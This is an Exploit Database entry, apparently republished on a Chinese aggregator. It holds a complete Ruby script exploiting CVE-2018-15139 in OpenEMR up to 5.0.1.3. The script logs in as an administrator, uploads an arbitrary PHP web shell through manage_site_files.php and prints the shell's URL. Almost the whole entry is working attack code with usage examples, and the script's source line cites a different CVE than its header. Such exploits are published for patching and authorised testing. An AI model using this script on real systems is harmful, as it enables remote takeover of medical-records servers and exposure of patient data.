OpenEMR 5.0.1.3 – ‘manage_site_files’ Remote Code Execution (Authenticated) (2)

• Exploit Database
• 15 阅读

• 作者： Alexandre ZANNI
  日期： 2021-07-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50122/

• # Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)
  # Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
  # Date: 2021-07-05
  # Vendor Homepage: https://www.open-emr.org/
  # Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
  # Docker PoC: https://github.com/sec-it/exploit-CVE-2018-15139/blob/master/docker-compose.yml
  # Version: < 5.0.1.4 (it means up to 5.0.1.3)
  # Tested on: OpenEMR Version 5.0.0.8
  # References: https://www.exploit-db.com/exploits/49998
  # CVE: CVE-2018-15139
  # CWE: CWE-434
  # Patch: https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485
  
  #!/usr/bin/env ruby
  
  require 'pathname'
  require 'httpx'
  require 'http/form_data'
  require 'docopt'
  
  doc = <<~DOCOPT
  OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution
  
  Source: https://github.com/sec-it/exploit-CVE-2019-14530
  
  Usage:
  #{__FILE__} exploit <url> <filename> <username> <password> [--debug]
  #{__FILE__} -h | --help
  
  Options:
  <url> Root URL (base path) including HTTP scheme, port and root folder
  <filename>Filename of the shell to be uploaded
  <username>Username of the admin
  <password>Password of the admin
  --debug Display arguments
  -h, --helpShow this screen
  
  Examples:
  #{__FILE__} exploit http://example.org/openemr shell.php admin pass
  #{__FILE__} exploit https://example.org:5000/ shell.php admin pass
  DOCOPT
  
  def login(root_url, user, pass, http)
  vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
  params = {
  'new_login_session_management' => '1',
  'authProvider' => 'Default',
  'authUser' => user,
  'clearPass' => pass,
  'languageChoice' => '1'
  }
  
  http.post(vuln_url, form: params).body.to_s
  end
  
  def upload(root_url, filepath, http)
  vuln_url = "#{root_url}/interface/super/manage_site_files.php"
  pn = Pathname.new(filepath)
  
  params = {
  form_image: {
  content_type: 'application/x-php',
  filename: pn.basename.to_s,
  body: pn
  },
  bn_save: 'Save'
  }
  
  res = http.post(vuln_url, form: params)
  
  return '[-] File not upload' unless (200..299).include?(res.status)
  
  "[+] File uploaded:\n#{root_url}/sites/default/images/#{pn.basename}"
  end
  
  begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']
  
  if args['exploit']
  http = HTTPX.plugin(:cookies).plugin(:follow_redirects).plugin(:multipart)
  login(args['<url>'], args['<username>'], args['<password>'], http)
  puts upload(args['<url>'], args['<filename>'], http)
  end
  rescue Docopt::Exit => e
  puts e.message
  end